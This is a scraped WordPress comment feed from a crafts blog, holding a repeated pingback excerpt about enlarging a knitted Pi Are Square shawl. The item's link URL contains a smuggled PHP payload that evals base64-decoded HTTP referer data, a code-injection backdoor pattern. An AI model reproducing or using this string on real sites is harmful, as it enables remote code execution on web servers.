http://www.clevercraftyfoxy.com A place for handmade things Thu, 03 Apr 2008 04:14:20 +0000 hourly 1 http://wordpress.org/?v=3.0 http://www.clevercraftyfoxy.com/2008/01/21/pi-are-square/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-3 Clever Crafty Foxy » To tink or not to tink, that is the question Thu, 03 Apr 2008 04:14:20 +0000 http://www.clevercraftyfoxy.com/2008/01/21/pi-are-square/#comment-3 [...] Remember the Pie Are Square shawl? Well, I’ve gone beyond the final row of yarn-over increases, beyond the edge of the galaxy into no-knitters-land. It just wasn’t big enough. I think the needles I’m using are too small. At any rate, I still have a skein+ of yarn left, so I decided to add an extra row of yarn-overs beyond what EZ’s pattern calls for. At this point, there are more that 500 stitches on my needles. Ok, I’m feeling good. I may not have enough yarn to make a pretty lace border in the same colorway as the main yarn of the shawl, but I can find a color to contrast/coordinate and it will look great, I’m sure. But wait. What’s that? [...] [...] Remember the Pie Are Square shawl? Well, I’ve gone beyond the final row of yarn-over increases, beyond the edge of the galaxy into no-knitters-land. It just wasn’t big enough. I think the needles I’m using are too small. At any rate, I still have a skein+ of yarn left, so I decided to add an extra row of yarn-overs beyond what EZ’s pattern calls for. At this point, there are more that 500 stitches on my needles. Ok, I’m feeling good. I may not have enough yarn to make a pretty lace border in the same colorway as the main yarn of the shawl, but I can find a color to contrast/coordinate and it will look great, I’m sure. But wait. What’s that? [...]

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